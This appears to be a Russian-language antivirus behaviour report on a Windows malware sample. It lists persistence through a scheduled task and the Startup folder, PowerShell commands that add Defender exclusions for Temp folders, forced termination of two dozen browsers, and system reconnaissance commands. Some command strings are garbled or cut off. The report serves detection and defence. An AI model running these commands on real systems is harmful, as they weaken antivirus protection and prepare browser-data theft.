Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\dbe20m129z50
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Temp' -ErrorAction SilentlyContinue"
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /IM chrome.exe
- '<SYSTEM32>\taskkill.exe' /F /IM msedge.exe
- '<SYSTEM32>\taskkill.exe' /F /IM brave.exe
- '<SYSTEM32>\taskkill.exe' /F /IM opera.exe
- '<SYSTEM32>\taskkill.exe' /F /IM vivaldi.exe
- '<SYSTEM32>\taskkill.exe' /F /IM firefox.exe
- '<SYSTEM32>\taskkill.exe' /F /IM browser.exe
- '<SYSTEM32>\taskkill.exe' /F /IM dragon.exe
- '<SYSTEM32>\taskkill.exe' /F /IM coccoc.exe
- '<SYSTEM32>\taskkill.exe' /F /IM chromium.exe
- '<SYSTEM32>\taskkill.exe' /F /IM torch.exe
- '<SYSTEM32>\taskkill.exe' /F /IM slimjet.exe
- '<SYSTEM32>\taskkill.exe' /F /IM centbrowser.exe
- '<SYSTEM32>\taskkill.exe' /F /IM 360chrome.exe
- '<SYSTEM32>\taskkill.exe' /F /IM qqbrowser.exe
- '<SYSTEM32>\taskkill.exe' /F /IM sogouexplorer.exe
- '<SYSTEM32>\taskkill.exe' /F /IM maxthon.exe
- '<SYSTEM32>\taskkill.exe' /F /IM ucbrowser.exe
- '<SYSTEM32>\taskkill.exe' /F /IM iron.exe
- '<SYSTEM32>\taskkill.exe' /F /IM amigo.exe
- '<SYSTEM32>\taskkill.exe' /F /IM orbitum.exe
- '<SYSTEM32>\taskkill.exe' /F /IM avastbrowser.exe
- '<SYSTEM32>\taskkill.exe' /F /IM avgbrowser.exe
- '<SYSTEM32>\taskkill.exe' /F /IM blisk.exe
Завершает или пытается завершить
следующие пользовательские процессы:
- firefox.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\dbe20m129z50.tmp
- %TEMP%\svc_config.xml
- nul
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\dbe20m129z50.tmp
Удаляет файлы, которые сам же создал
- %TEMP%\svc_config.xml
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\dbe20m129z50.tmp'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try{ Add-Mmprufuruncu -ExclusionPath '%TEMP%\dbe20m129z50.tmp' -ErrorAction Stop; Write-Output 'OK' }catch{ Writ...
Запускает на исполнение
- '<SYSTEM32>\tasklist.exe' /FO CSV /NH
- '<SYSTEM32>\ipconfig.exe' /all
- '<SYSTEM32>\getmac.exe' /FO CSV /NH
- '<SYSTEM32>\wbem\wmic.exe' bios get manufacturer,version /format:csv
- '<SYSTEM32>\wbem\wmic.exe' cpu get numberofcores /format:csv
- '<SYSTEM32>\wbem\wmic.exe' diskdrive get model /format:csv
- '<SYSTEM32>\wbem\wmic.exe' path win32_videocontroller get currenthorizontalresolution,currentverticalresolution /format:csv
- '<SYSTEM32>\wbem\wmic.exe' computersystem get totalphysicalmemory /format:csv
- '<SYSTEM32>\wbem\wmic.exe' computersystem get manufacturer,model /format:csv
- '<SYSTEM32>\sc.exe' query type= service state= all
- '<SYSTEM32>\wbem\wmic.exe' service get name /format:csv
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "Get-Process | Where-Object {$_.MainWindowTitle -ne \"\"} | Select-Object -ExpandProperty MainWindowTitle"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "Get-WmiObject Win32_Process -Filter 'ProcessId=3124' | Select -Expand ParentProcessId"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "Get-Process -Id 2420 | Select -Expand Name"
- '<SYSTEM32>\hostname.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | Measure-Object | Select -Expand Count"
- '<SYSTEM32>\schtasks.exe' /Create /TN dbe20m129z50 /XML %TEMP%\svc_config.xml /F
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$s=New-Object -ComObject 'Wsaramt.C}ull';$l=$s.CreateShortcut('%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\dbe20m129z50....
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try{ Add-Mmprufuruncu -ExclusionPath '%LOCALAPPDATA%\Temp' -ErrorAction Stop; Write-Output 'OK' }catch{ Write-Ou...
- '%TEMP%\dbe20m129z50.tmp' (со скрытым окном)
